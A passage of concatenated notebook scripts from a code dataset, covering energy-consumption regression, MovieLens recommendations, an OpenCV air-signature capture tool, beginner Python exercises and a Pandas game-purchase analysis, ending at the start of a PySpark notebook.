Model\ndow = dow_x.copy().iloc[:(10 * 24),:].iloc[::24, :].iloc[3:]\ndow['Predicted Consumption'] = dow_model.predict(dow)\ndow['dow'] = dow.index.dayofweek\n\n# Predict CDD Model\ncdd = cdd_x.copy()\ncdd['Predicted Consumption'] = cdd_model.predict(cdd)\ncdd['cdd'] = df['cdd']\n\n# Show HDD Model\nhdd = hdd_x.copy()\nhdd['Predicted Consumption'] = hdd_model.predict(hdd)\nhdd['hdd'] = df['hdd']\n\n# Show Avg Temp Model\ntemp = avg_tmp_x.copy()\ntemp['Predicted Consumption'] = avg_temp_model.predict(temp)\ntemp['avg_tmp'] = df['avg_tmp']\n\n# Show all models on graphs\nfigure, axis = plt.subplots(2, 2)\naxis[0, 0].scatter(df['dow'], df['consumption'])\naxis[0, 0].plot(dow['dow'], dow['Predicted Consumption'], color='red')\naxis[0, 0].set_title('Day of Week vs Consumption')\naxis[0, 1].scatter(df['cdd'], df['consumption'])\naxis[0, 1].plot(cdd['cdd'], cdd['Predicted Consumption'], color='red')\naxis[0, 1].set_title('CDD vs Consumption')\naxis[1, 0].scatter(df['hdd'], df['consumption'])\naxis[1, 0].plot(hdd['hdd'], hdd['Predicted Consumption'], color='red')\naxis[1, 0].set_title('HDD vs Consumption')\naxis[1, 1].scatter(df['avg_tmp'], df['consumption'])\naxis[1, 1].set_title('Avg Temp vs Consumption')\naxis[1, 1].plot(temp['avg_tmp'], temp['Predicted Consumption'], color='red')\n\n\n# -\n\n# ## Let's Improve it!\n#\n# Next let's try adding in some more variables! Let's add CDD and HDD to the hourly variable and see if we can make it any better.\n#\n# Let's take a peak at the data after we add in the extra independent variables\n\n# +\nhour_poly_degree = 5\nnew_df = df.copy()\nnew_df[[f'hour:poly={i}' for i in range(0, hour_poly_degree + 1)]] = PolynomialFeatures(hour_poly_degree).fit_transform(new_df[['hour']])\n\nhour_cdd_hdd_x = new_df.drop(columns=['dow', 'hour', 'avg_tmp', 'consumption'])\ny = df['consumption']\n\nhour_cdd_hdd_x\n# -\n\n# Let's finish it off and see the model!\n#\n# Note that get a more readable graph, the consumption values are averaged by day.\n\n# +\nhour_cdd_hdd_model = sm.OLS(y, hour_cdd_hdd_x).fit()\n\ntemp_df = df.copy()\ntemp_df['Predicted Consumption'] = hour_cdd_hdd_model.predict(hour_cdd_hdd_x)\nndf = temp_df.resample('D').mean()\nplt.scatter(ndf.index, ndf['consumption'])\nplt.title('Consumption vs Time')\nplt.xlabel('Time (daily avg)')\nplt.ylabel('Consumption (kWh)')\nplt.plot(ndf.index, ndf['Predicted Consumption'], color='red')\n\nhour_cdd_hdd_model.summary()\n# -\n\n# ## Does this model meet our Goal?\n#\n# Remember our goal was to be within +/- 10% of the actual consumption value for December 31st\n\n# +\n\npredicted_df = raw_df.copy()\npredicted_df[[f'hour:poly={i}' for i in range(0, 5 + 1)]] = PolynomialFeatures(5).fit_transform(predicted_df[['hour']])\nfinal_model_x = predicted_df.drop(columns=['dow', 'hour', 'avg_tmp', 'consumption'])\n\npredicted_df['Predicted Consumption'] = hour_cdd_hdd_model.predict(final_model_x)\npredicted_interval = predicted_df.iloc[-24:]\n\nplt.scatter(predicted_interval.index, predicted_interval['consumption'])\nplt.title('Consumption vs Time')\nplt.xlabel('Time')\nplt.ylabel('Consumption (kWh)')\nplt.plot(predicted_interval.index, predicted_interval['Predicted Consumption'], color='red')\nplt.show()\n\n# -\n\n# Let's checkout the numbers (fingers crossed)\n\n# +\nfrom IPython.display import display\n\nconsumption_df = predicted_interval[['consumption', 'Predicted Consumption']]\nactual = consumption_df['consumption'].sum()\npredicted = consumption_df['Predicted Consumption'].sum()\npercent_diff = ((abs(actual - predicted)) / ((actual + predicted) / 2)) * 100\n\ndisplay(consumption_df)\ndisplay('Totals')\ndisplay(consumption_df.sum())\ndisplay(f\"Difference: {actual-predicted}\")\ndisplay(f\"% Difference: {round(percent_diff, 2)}%\")\n\n\n","repo_name":"connor-hilll/short_stack_ml","sub_path":"energy_prediction.ipynb","file_name":"energy_prediction.ipynb","file_ext":"py","file_size_in_byte":10446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"72823761965","text":"# # Read the films genres\n\n# +\nimport pandas as pd\n\nfilms = pd.read_csv('./dataset/movies.csv')\nfilms.set_index('movieId', inplace=True)\nfilms.head()\n# -\n\n# # Read the Ratings\n\nratings = pd.read_csv('./dataset/ratings.csv')\nratings.head()\n\n#
\n#
\n#
\n#\n# # 1. Recomending by Views\n\n# #### Get the movie titles with the mean rating and views\n\n# +\nimport time\nfrom datetime import datetime, timedelta\n\ndef movieRatingViews(days_ago=0):\n if days_ago != 0:\n range_time = (datetime.now() - timedelta(days=days_ago)).timestamp()\n recent_ratings = ratings[ratings.timestamp >= range_time]\n else:\n recent_ratings = ratings\n\n view_rating = recent_ratings.groupby(by=\"movieId\").agg({\"rating\": \"mean\", \"timestamp\": \"count\"})\n view_rating.rename(columns={\"timestamp\": \"views\"}, inplace=True)\n\n movies_views = films.merge(view_rating, on=\"movieId\", how=\"inner\")\n movies_views.sort_values(by=[\"views\", \"rating\"], ascending=False, inplace=True)\n \n return movies_views\n\n\n# -\n\n# ### 1.2. Top 10 movies according with the Views and Ratings\n\n# +\nmovies = movieRatingViews()\nmovies.sort_values(by=[\"views\", \"rating\"], ascending=False, inplace=True)\n\nmovies.head(20)\n# -\n\n# ### 1.1. Most viewed recently\n\n# +\nfrom IPython.display import display, HTML\n\nTARGET_DAYS_AGO = 395\n\ndisplay(HTML('

Days ago: {}

'.format(TARGET_DAYS_AGO)))\n\n# Get and filter the previous days\nrecent_ratings_movies = movieRatingViews(days_ago=TARGET_DAYS_AGO)\nrecent_ratings_movies.head(20)\n# -\n\n#
\n#
\n#
\n#\n# # 2. Find by the the same genres\n\n# The variable bellow represents the movie that user already viewed\n\nLAST_MOVIE = \"Comedy|Crime\"\n\n\n# Filter according with the history from the user and returns the most visualized movies of the same genres\n\ndef moviesByGenres(last_genre):\n movies = movieRatingViews()\n \n movies.sort_values(by=[\"views\", \"rating\"], ascending=False, inplace=True)\n movies.reset_index(inplace=True)\n\n return movies[movies.genres == last_genre]\n\n\nmoviesByGenres(LAST_MOVIE).head(20)\n\n#
\n#
\n#
\n#\n# ## 3. Find the most similar persons using rating\n\n# #### Create a method to get the near people based on the watched films\n\n# +\nimport numpy as np\nfrom sklearn.neighbors import NearestNeighbors\n\ndef findNearPersons(user, n_people=5):\n #####################\n # EXTRACT DUMMIES\n movies_rating = ratings.merge(pd.DataFrame(films[\"title\"]), on=\"movieId\", how=\"inner\")\n movies_rating.drop(columns=[\"movieId\", \"timestamp\"], inplace=True)\n users = movies_rating['userId'].drop_duplicates().values\n\n movies_rating = movies_rating.pivot_table(columns=['title'], index='userId', values='rating')\n\n movies_rating.replace({np.nan: 0}, inplace=True)\n #####################\n \n X = movies_rating.values\n \n #####################\n # Create a model KNN\n model = NearestNeighbors(n_neighbors=n_people, algorithm='ball_tree').fit(X)\n #####################\n \n # Get the near people\n distances, indices = model.kneighbors([X[movies_rating.index.get_loc(user)]])\n \n return (distances[0], indices[0],)\n \n\n\n# -\n\n# #### Create a method which returns the movies based in group selection\n\ndef moviesByNearPeople(user, n_people=5):\n # Find the people in commom\n distances, indices = findNearPersons(TARGET_USER, n_people=n_people)\n \n # Get the movies\n movies = movieRatingViews()\n movies.reset_index(inplace=True)\n\n # Filter the reviews by the near people\n mask = ratings.userId.isin(indices)\n moviesId = ratings[mask]\n\n # Remove the duplicates\n moviesId = moviesId.movieId.drop_duplicates()\n\n # Remove films already viewed by the user\n user_films = ratings[ratings.userId == TARGET_USER].movieId.values # Get the user movies id\n mask = moviesId.isin(user_films) == False # Check if not exists in user_films\n moviesId = moviesId[mask]\n\n\n # Filtering and sort the movies\n return movies[movies.movieId.isin(moviesId.values)].sort_values(by=[\"views\", \"rating\"], ascending=False)\n\n# +\nfrom IPython.display import display, HTML\n\n# Define the actual user\nTARGET_USER = 98\ndisplay(HTML('

Target: {}

'.format(TARGET_USER)))\n\n# Near people\n_, indices = findNearPersons(TARGET_USER)\ndisplay(HTML('

Near people: {}

'.format(indices)))\n# -\n\nmoviesByNearPeople(user=TARGET_USER).head(20)\n\n#
\n#
\n#\n#\n# # 4. Recomending after the watch some movie\n#\n# > To solve that problem i'm considering the rating dataset work like a history of watched movies\n\n# #### Configuring\n\n# +\nfrom IPython.display import display, HTML\n\n# Proposal film\nTARGET_MOVIE = 1\n\nmovie_name = films[films.index == TARGET_MOVIE].title.iloc[0]\ndisplay(HTML('

Target: {}

'.format(films[films.index == TARGET_MOVIE].title.iloc[0])))\n# -\n\n# #### Search the next movie\n\n# +\nimport pandas as pd\nfrom collections import Counter\n\ndef peopleWatchedAfter(target):\n ratings.sort_values(by=\"timestamp\", inplace=True)\n\n # Create a counter\n movies = Counter()\n\n # Find the user witch already watched\n users = ratings[ratings.movieId == TARGET_MOVIE].userId.values\n\n # Pass by each user\n for user in users:\n # Find the movies\n user_movies = ratings[ratings.userId == user].movieId.values\n\n # Find the target movie and sum at counter\n for i in range(len(user_movies)):\n if user_movies[i] == target:\n try:\n movies[user_movies[i + 1]] += 1\n except IndexError:\n continue\n \n next_movies = pd.DataFrame(list(movies.items()), columns=[\"movieId\", \"views\"])\n next_movies.sort_values(by=\"views\", ascending=False, inplace=True)\n next_movies.reset_index(drop=True, inplace=True)\n\n movies = movieRatingViews()\n \n return next_movies.join(movies[[\"rating\", \"title\"]], on=\"movieId\", how=\"inner\")\n\n\n# -\n\nwatch_next_movies = peopleWatchedAfter(TARGET_MOVIE)\nwatch_next_movies.sort_values(by=[\"views\", \"rating\"], ascending=False, inplace=True)\nwatch_next_movies.head(20)\n\n#
\n#
\n#\n# # 5. Watch the movies again\n\n# #### Configuring\n\n# +\nfrom IPython.display import display, HTML\n\n# Proposal film\nTARGET_USER = 98\n\ndisplay(HTML('

User Target: {}

'.format(TARGET_USER)))\n\n\n# -\n\ndef moviesWatchAgain(user, batch_size=10, selection_size=None):\n already_watched = ratings[ratings.userId == user][[\"movieId\", \"rating\", \"timestamp\"]]\n already_watched.sort_values(by=[\"rating\"], ascending=False, inplace=True) # Chorological sort\n \n movies = movieRatingViews()[[\"title\"]]\n \n movies = already_watched.join(movies, on=\"movieId\", how=\"inner\")\n movies.reset_index(drop=True, inplace=True)\n \n selection = movies[movies.index < (batch_size * 2 if selection_size is None else selection_size)]\n \n batch_size = min(batch_size, selection.shape[0])\n \n return selection.sample(batch_size)\n\n\nmoviesWatchAgain(TARGET_USER, batch_size=20)\n","repo_name":"alaurentinoofficial/movielens-recommendation-system","sub_path":"recomendation.ipynb","file_name":"recomendation.ipynb","file_ext":"py","file_size_in_byte":6968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"11259105761","text":"import numpy as np\nimport cv2\nfrom collections import deque\nfrom datetime import datetime as time\nimport tkinter as tk\n\n# +\n# Choose training or testing dataset\nroot = tk.Tk()\nv = tk.StringVar()\n\ntk.Label(root, text='Choose dataset : ', justify = tk.CENTER, padx = 20).pack()\ntk.Radiobutton(root, text=\"train\", indicatoron = 0, padx = 20, variable=v, value='train').pack(anchor=tk.W)\ntk.Radiobutton(root, text=\"test\", indicatoron = 0, padx = 20, variable=v, value='test').pack(anchor=tk.W)\nroot.mainloop()\n\nchoice = v.get()\n# -\n\nif choice == 'train':\n # Choose authentic or forged dataset\n root = tk.Tk()\n v = tk.StringVar()\n\n tk.Label(root, text='Choose dataset : ', justify = tk.CENTER, padx = 20).pack()\n tk.Radiobutton(root, text=\"authentic\", indicatoron = 0, padx = 20, variable=v, value='authentic').pack(anchor=tk.W)\n tk.Radiobutton(root, text=\"forged\", indicatoron = 0, padx = 20, variable=v, value='forged').pack(anchor=tk.W)\n root.mainloop()\n\n trainChoice = v.get()\n\n# +\n# Define the upper and lower boundaries for a color to be considered \"Blue\"\nblueLower = np.array([100, 60, 60])\nblueUpper = np.array([140, 255, 255])\n\n# Define a 5x5 kernel for erosion and dilation\nkernel = np.ones((5, 5), np.uint8)\n\n# Setup deques to store separate colors in separate arrays\nbpoints = [deque(maxlen=512)]\n\nbindex = 0\n\ncolor = (255, 0, 0)\ncolorIndex = 0\n\n# +\n# Setup the Paint interface\npaintWindow = np.zeros((471,636,3)) + 255\n\ncv2.namedWindow('Paint', cv2.WINDOW_AUTOSIZE)\n\n# +\n# Load the video\ncamera = cv2.VideoCapture(0)\n\n# Keep looping\nwhile True:\n # Grab the current paintWindow\n (grabbed, frame) = camera.read()\n frame = cv2.flip(frame, 1)\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n # Add the coloring options to the frame\n frame = cv2.rectangle(frame, (40,1), (140,65), (122,122,122), -1)\n frame = cv2.rectangle(frame, (160,1), (255,65), color, -1)\n cv2.putText(frame, \"CLEAR ALL\", (49, 33), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2, cv2.LINE_AA)\n cv2.putText(frame, \"BLUE\", (185, 33), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2, cv2.LINE_AA)\n \n # Check to see if we have reached the end of the video\n if not grabbed:\n break\n\n # Determine which pixels fall within the blue boundaries and then blur the binary image\n blueMask = cv2.inRange(hsv, blueLower, blueUpper)\n blueMask = cv2.erode(blueMask, kernel, iterations=2)\n blueMask = cv2.morphologyEx(blueMask, cv2.MORPH_OPEN, kernel)\n blueMask = cv2.dilate(blueMask, kernel, iterations=1)\n\n # Find contours in the image\n (_, cnts, _) = cv2.findContours(blueMask.copy(), cv2.RETR_EXTERNAL,\n \tcv2.CHAIN_APPROX_SIMPLE)\n center = None\n\n # Check to see if any contours were found\n if len(cnts) > 0:\n \t# Sort the contours and find the largest one -- we\n \t# will assume this contour correspondes to the area of the bottle cap\n cnt = sorted(cnts, key = cv2.contourArea, reverse = True)[0]\n # Get the radius of the enclosing circle around the found contour\n ((x, y), radius) = cv2.minEnclosingCircle(cnt)\n # Draw the circle around the contour\n cv2.circle(frame, (int(x), int(y)), int(radius), (0, 255, 255), 2)\n # Get the moments to calculate the center of the contour (in this case Circle)\n M = cv2.moments(cnt)\n center = (int(M['m10'] / M['m00']), int(M['m01'] / M['m00']))\n\n if center[1] <= 65:\n if 40 <= center[0] <= 140: # Clear All\n bpoints = [deque(maxlen=512)]\n bindex = 0\n paintWindow[67:,:,:] = 255\n \n else:\n colorIndex = 0 # Blue\n else :\n bpoints[bindex].appendleft(center)\n \n # Append the next deque when no contours are detected (i.e., bottle cap reversed)\n else:\n bpoints.append(deque(maxlen=512))\n bindex += 1\n\n # Draw lines of Blue color\n for j in range(len(bpoints)):\n for k in range(1, len(bpoints[j])):\n if bpoints[j][k - 1] is None or bpoints[j][k] is None:\n continue\n cv2.line(frame, bpoints[j][k - 1], bpoints[j][k], color, 2)\n cv2.line(paintWindow, bpoints[j][k - 1], bpoints[j][k], color, 2)\n\n # Show the frame and the paintWindow image\n cv2.imshow(\"Tracking\", frame)\n cv2.imshow(\"Paint\", paintWindow)\n\n\t# If the 'q' key is pressed, stop the loop\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n \n if choice == 'train':\n if trainChoice == 'forged':\n label = 'dataset/train/forged/img '\n else:\n label = 'dataset/train/authentic/img '\n else:\n label = 'dataset/test/img '\n \n timeStamp = str(time.now())[:-7].replace(':','-')\n label = label + timeStamp + '.png'\n cv2.imwrite(label, paintWindow)\n img = cv2.imread(label)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n final = cv2.subtract(255, gray)\n cv2.imwrite(label, final)\n break\n\n# Cleanup the camera and close any open windows\ncamera.release()\ncv2.destroyAllWindows()\n","repo_name":"oishikm/Air-Written-Signature-Authentication","sub_path":"Air-Written-Signature-Authenticator/SignatureExtractor.ipynb","file_name":"SignatureExtractor.ipynb","file_ext":"py","file_size_in_byte":5136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"14374760421","text":"# # Assignment 5\n\n# Question 1\n\ndef factorial(n):\n if n == 0:\n return 1\n else:\n return n * factorial(n-1)\nn=int(input(\"Input a number : \"))\nprint(factorial(n))\n\n\n# Question 2\n\n# +\ndef case(s):\n d={\"UPPER_CASE\":0, \"LOWER_CASE\":0}\n for c in s:\n if c.isupper():\n d[\"UPPER_CASE\"]+=1\n elif c.islower():\n d[\"LOWER_CASE\"]+=1\n else:\n pass\n print (\"Original Text : \", s)\n print (\"Upper case characters : \", d[\"UPPER_CASE\"])\n print (\"Lower case Characters : \", d[\"LOWER_CASE\"])\n\ncase('Python Class HW')\n\n\n# -\n\n# Question 3\n\ndef evennum(l):\n even = []\n for n in l:\n if n % 2 == 0:\n even.append(n)\n return even\nprint(evennum([1, 2, 3, 4, 5, 6, 7, 8, 9]))\n\n\n# Question 4\n\ndef Palindrome(word):\n left = 0\n right = len(word) - 1\n\n while right >= left:\n if not word[left] == word[right]:\n return False\n left+=1\n right-=1\n return True\nprint(Palindrome('madam')) \n\n\n# Question 5\n\ndef prime(n):\n if (n==1):\n return False\n elif (n==2):\n return True;\n else:\n for x in range(2,n):\n if(n % x==0):\n return False\n return True \nprime(17)\n\n\n# Question 6\n\ndef printlist(arg1, *vartuple):\n print('Your shopping list includes: ')\n print (arg1)\n for var in vartuple:\n print (var)\n return\nprintlist('bread','eggs','rice')\n\n\n","repo_name":"MustafaQS/Python-Assignments","sub_path":"Assignment 5.ipynb","file_name":"Assignment 5.ipynb","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"22970736206","text":"# ### Note\n# * Instructions have been included for each segment. You do not have to follow them exactly, but they are included to help you think through the steps.\n\n# +\n# Dependencies and Setup\nimport pandas as pd\nimport numpy as np\n\n# File to Load (Remember to Change These)\nfile_to_load = \"Resources/purchase_data.csv\"\n\n# Read Purchasing File and store into Pandas data frame\npurchase_data = pd.read_csv(file_to_load)\npurchase_data.head()\n# -\n\n# ## Player Count\n\n# * Display the total number of players\n#\n\nplayer_count = purchase_data[\"SN\"].nunique()\nplayer_count\n\n# ## Purchasing Analysis (Total)\n\n# * Run basic calculations to obtain number of unique items, average price, etc.\n#\n#\n# * Create a summary data frame to hold the results\n#\n#\n# * Optional: give the displayed data cleaner formatting\n#\n#\n# * Display the summary data frame\n#\n\n# Create items only df\nitems_only_df = purchase_data.loc[:,[\"Item ID\", \"Price\"]]\n#items_only_df.head(5)\n\n# Unique items sold\nuitem_count = items_only_df[\"Item ID\"].nunique()\n\n# Average price of items sold, formatted\nitem_avg_price = items_only_df[\"Price\"].mean()\niavg_priceformat = \"${:.2f}\".format(item_avg_price)\n\n# Total number of items sold\nitems_sold = items_only_df[\"Item ID\"].count()\n\n# Total Sales, formatted\ntotal_sales = items_only_df[\"Price\"].sum()\nt_sformat = \"${:,.2f}\".format(total_sales)\n\n#Create purchase summary dataframe\npur_sumdf = pd.DataFrame({\"Num of Unique Items\" : [uitem_count],\n \"Average Price\" : [iavg_priceformat],\n \"Num of Pur\" : [items_sold],\n \"Total Revenue\" : [t_sformat]\n })\npur_sumdf\n\n# ## Gender Demographics\n\n# * Percentage and Count of Male Players\n#\n#\n# * Percentage and Count of Female Players\n#\n#\n# * Percentage and Count of Other / Non-Disclosed\n#\n#\n#\n\n#Create gender demographic df \ngender_only_df = purchase_data.loc[:,[\"SN\", \"Age\", \"Gender\"]]\n\n# +\n# Groupby function to collect information by Gender aggregating on unique SN. \"nunique\" returns a value for number of unique items\ngroupby_gd = gender_only_df.groupby([\"Gender\"]).agg({'SN': [\"nunique\"]})\n\n# Naming column of unique SN\ngroupby_gd.columns = [\"Total Count\"]\n\n# Rearranging the sort, higher to lower value\ngd_grouped = groupby_gd.sort_values([\"Total Count\"], ascending = False)\n\n# Summing all unique values for the genders\nsum = gd_grouped [\"Total Count\"].sum()\n\n# Calculating the percentage for each Gender\ngd_grouped['Percentage of Players'] = (gd_grouped[\"Total Count\"] / sum)*100\n\n# Formatting output\ngd_grouped[\"Percentage of Players\"] = gd_grouped[\"Percentage of Players\"].map(\"{:,.2f}%\".format)\ngd_grouped\n# -\n\n#\n# ## Purchasing Analysis (Gender)\n\n# * Run basic calculations to obtain purchase count, avg. purchase price, avg. purchase total per person etc. by gender\n#\n#\n#\n#\n# * Create a summary data frame to hold the results\n#\n#\n# * Optional: give the displayed data cleaner formatting\n#\n#\n# * Display the summary data frame\n\npag_df = purchase_data.loc[:,[\"SN\", \"Gender\", \"Price\"]]\n#pag_df.head()\n\n# +\n# Groupby function to collect information by Gender aggregating on Price. \ngrouped_pag = pag_df.groupby([\"Gender\"]).agg({'Price': ['count', 'mean', 'sum']})\n\n# Naming columns of Price aggregate functions\ngrouped_pag.columns = [\"Purchase Count\", \"Average Purchase Price\", \"Total Purchase Value\"]\n\n# Groupby function to collect information by Gender aggregating on SN. \"nunique\" returns a value for number of unique items\n# This is a separate groupedby df\n# This value will be used to calcuate the average purchase by unique person across all Genders\ngrouped_gender_u = pag_df.groupby([\"Gender\"]).agg({'SN': [\"nunique\"]})\n\n# Naming column of SN unique count\ngrouped_gender_u.columns = [\"UCount\"]\n\n# Calculating value for Avg Tot Purchase by dividing TPV from groupedby df by another groupedby df\n# This also inserts the new column in the grouped purchase analysis by gender df\ngrouped_pag['Average Total Purchase / Person'] = (grouped_pag[\"Total Purchase Value\"] / grouped_gender_u[\"UCount\"])\n\n# Formatting\ngrouped_pag[\"Average Purchase Price\"] = grouped_pag[\"Average Purchase Price\"].map(\"${:.2f}\".format)\n\n# Formatting\ngrouped_pag[\"Total Purchase Value\"] = grouped_pag[\"Total Purchase Value\"].map(\"${:,.2f}\".format)\n\n# Formatting\ngrouped_pag[\"Average Total Purchase / Person\"] = grouped_pag[\"Average Total Purchase / Person\"].map(\"${:,.2f}\".format)\ngrouped_pag\n# -\n\n# ## Age Demographics\n\n# * Establish bins for ages\n#\n#\n# * Categorize the existing players using the age bins. Hint: use pd.cut()\n#\n#\n# * Calculate the numbers and percentages by age group\n#\n#\n# * Create a summary data frame to hold the results\n#\n#\n# * Optional: round the percentage column to two decimal points\n#\n#\n# * Display Age Demographics Table\n#\n\n# +\n# Establish age bins\nbins = [0, 9, 14, 19, 24, 29, 34, 39, 200]\n\n# Creating labels for bin ranges\nage_labels = [\"<10\", \"10-14\", \"15-19\", \"20-24\", \"25-29\", \"30-34\", \"35-39\", \"40+\"]\n\n# Adding new column to overall purchase_data df that will \n# compare against the Age column and match the bins and respective labels to the age\npurchase_data[\"Age_Range\"] = pd.cut(purchase_data[\"Age\"], bins, labels=age_labels)\n#purchase_data.head(10)\n# -\n\nagedemo_df = purchase_data.loc[:,[\"SN\", \"Age_Range\"]]\n#agedemo_df.head()\n\n# +\n# Groupby function to collect information by Gender aggregating on SN. \"nunique\" returns a value for number of unique items\ngrouped_ad = agedemo_df.groupby([\"Age_Range\"]).agg({'SN': [\"nunique\"]})\n\n# Naming column of unique SN\ngrouped_ad.columns = [\"Total Count\"]\n\n# Summing all the unique values for the various bins\n#Value will be used to calculate percent of palyers for each bin\nsum = grouped_ad [\"Total Count\"].sum()\n\n# Calculating percentage of palyers from total count of each bin by dividing by the total number of all the bins\ngrouped_ad['Percentage of Players'] = (grouped_ad[\"Total Count\"] / sum)*100\n\n# Formatting\ngrouped_ad[\"Percentage of Players\"] = grouped_ad[\"Percentage of Players\"].map(\"{:,.2f}%\".format)\ngrouped_ad\n# -\n\n# ## Purchasing Analysis (Age)\n\n# * Bin the purchase_data data frame by age\n#\n#\n# * Run basic calculations to obtain purchase count, avg. purchase price, avg. purchase total per person etc. in the table below\n#\n#\n# * Create a summary data frame to hold the results\n#\n#\n# * Optional: give the displayed data cleaner formatting\n#\n#\n# * Display the summary data frame\n\n# +\n# Establish age bins\nbins = [0, 9, 14, 19, 24, 29, 34, 39, 200]\n\n# Creating labels for bin ranges\nage_labels = [\"<10\", \"10-14\", \"15-19\", \"20-24\", \"25-29\", \"30-34\", \"35-39\", \"40+\"]\n\n# Adding new column to overall purchase_data df that will \n# compare against the Age column and match the bins and respective labels to the age\npurchase_data[\"Age_Ranges\"] = pd.cut(purchase_data[\"Age\"], bins, labels=age_labels)\n#purchase_data.head()\n# -\n\npaa_df = purchase_data.loc[:,[\"SN\", \"Price\", \"Age_Ranges\"]]\n#paa_df.head()\n\n# +\n# Groupby function to collect information by Gender aggregating on Price.\ngrouped_paa = paa_df.groupby([\"Age_Ranges\"]).agg({'Price': ['count', 'mean', 'sum']})\n\n# Naming columns of Price aggregate functions\ngrouped_paa.columns = [\"Purchase Count\", \"Average Purchase Price\", \"Total Purchase Value\"]\n\n# Groupby function to collect information by age range aggregating on SN. \"nunique\" returns a value for number of unique items\n# This is a separate groupedby df\n# This value will be used to calcuate the average purchase by unique person across all age ranges\ngrouped_agerange_u = paa_df.groupby([\"Age_Ranges\"]).agg({'SN': [\"nunique\"]})\n\n# Naming column of SN unique count\ngrouped_agerange_u.columns = [\"UCount\"]\n\n# Calculating value for Avg Tot Purchase by dividing TPV from groupedby df by another groupedby df\n# This also inserts the new column in the grouped purchase analysis by age range df\ngrouped_paa['Average Total Purchase / Person'] = (grouped_paa[\"Total Purchase Value\"] / grouped_agerange_u[\"UCount\"])\n\n# Formatting\npaa_grouped = grouped_paa.sort_values([\"Age_Ranges\"])\n\n# Formatting\npaa_grouped[\"Average Purchase Price\"] = paa_grouped[\"Average Purchase Price\"].map(\"${:.2f}\".format)\n\n# Formatting\npaa_grouped[\"Total Purchase Value\"] = paa_grouped[\"Total Purchase Value\"].map(\"${:,.2f}\".format)\n\n# Formatting\npaa_grouped[\"Average Total Purchase / Person\"] = paa_grouped[\"Average Total Purchase / Person\"].map(\"${:,.2f}\".format)\npaa_grouped\n# -\n\n# ## Top Spenders\n\n# * Run basic calculations to obtain the results in the table below\n#\n#\n# * Create a summary data frame to hold the results\n#\n#\n# * Sort the total purchase value column in descending order\n#\n#\n# * Optional: give the displayed data cleaner formatting\n#\n#\n# * Display a preview of the summary data frame\n#\n#\n\n#sn_sort_df \nsn_sort_df = purchase_data.loc[:,[\"SN\", \"Item ID\", \"Price\"]]\n\n# +\n# Groupby function to collect information by SN aggregating on Price\ngrouped_grpsndf = sn_sort_df.groupby([\"SN\"]).agg({'Price': ['count', 'mean', 'sum']})\n\n# Naming columns of Price aggregate functions\ngrouped_grpsndf.columns = [\"Purchase Count\", \"Average Purchase Price\", \"Total Purchase Value\"]\n\n# Sorting tpv column in descending values\ntopspnddf = grouped_grpsndf.sort_values([\"Total Purchase Value\"], ascending = False)\n\n# Formatting\ntopspnddf[\"Average Purchase Price\"] = topspnddf[\"Average Purchase Price\"].map(\"${:.2f}\".format)\n\n# Formatting\ntopspnddf[\"Total Purchase Value\"] = topspnddf[\"Total Purchase Value\"].map(\"${:.2f}\".format)\ntopspnddf.head()\n# -\n\n# ## Most Popular Items\n\n# * Retrieve the Item ID, Item Name, and Item Price columns\n#\n#\n# * Group by Item ID and Item Name. Perform calculations to obtain purchase count, average item price, and total purchase value\n#\n#\n# * Create a summary data frame to hold the results\n#\n#\n# * Sort the purchase count column in descending order\n#\n#\n# * Optional: give the displayed data cleaner formatting\n#\n#\n# * Display a preview of the summary data frame\n#\n#\n\npopitems_sort_df = purchase_data.loc[:,[\"Item ID\", \"Item Name\", \"Price\"]]\n\n# +\n# Groupby function to collect information by Item ID and Item Name aggregating on Price\ngrouped_popdf = popitems_sort_df.groupby([\"Item ID\", \"Item Name\"]).agg({'Price': ['count', 'mean', 'sum']})\n\n# Naming columns of Price aggregate functions\ngrouped_popdf.columns = [\"Purchase Count\", \"Average Purchase Price\", \"Total Purchase Value\"]\n\n# Sorting pc column in descending values\nmostpopdf = grouped_popdf.sort_values([\"Purchase Count\"], ascending = False)\n\n# Formatting\nmostpopdf[\"Average Purchase Price\"] = mostpopdf[\"Average Purchase Price\"].map(\"${:.2f}\".format)\n\n# Formatting\nmostpopdf[\"Total Purchase Value\"] = mostpopdf[\"Total Purchase Value\"].map(\"${:.2f}\".format)\nmostpopdf.head()\n# -\n\n# ## Most Profitable Items\n\n# * Sort the above table by total purchase value in descending order\n#\n#\n# * Optional: give the displayed data cleaner formatting\n#\n#\n# * Display a preview of the data frame\n#\n#\n\npopitems_sort_df = purchase_data.loc[:,[\"Item ID\", \"Item Name\", \"Price\"]]\n\n# +\n# Groupby function to collect information by Item ID and Item Name aggregating on Price\ngrouped_profdf = popitems_sort_df.groupby([\"Item ID\", \"Item Name\"]).agg({'Price': ['count', 'mean', 'sum']})\n\n# Naming columns of Price aggregate functions\ngrouped_profdf.columns = [\"Purchase Count\", \"Average Purchase Price\", \"Total Purchase Value\"]\n\n# Sorting tpv column in descending values\nmostprofitdf = grouped_profdf.sort_values([\"Total Purchase Value\"], ascending = False)\n\n# Formatting\nmostprofitdf[\"Average Purchase Price\"] = mostprofitdf[\"Average Purchase Price\"].map(\"${:.2f}\".format)\n\n# Formatting\nmostprofitdf[\"Total Purchase Value\"] = mostprofitdf[\"Total Purchase Value\"].map(\"${:.2f}\".format)\nmostprofitdf.head()\n# -\n\n\n","repo_name":"troyyoungblood/20201202Homework_TDY","sub_path":"HeroesOfPymoli/HerosofPymoli_20201202_TDY.ipynb","file_name":"HerosofPymoli_20201202_TDY.ipynb","file_ext":"py","file_size_in_byte":11680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"15611407222","text":"# !java -version\n\n\n# !python --version\n\n\nfrom pyspark import SparkContext\nfrom pyspark.sql import 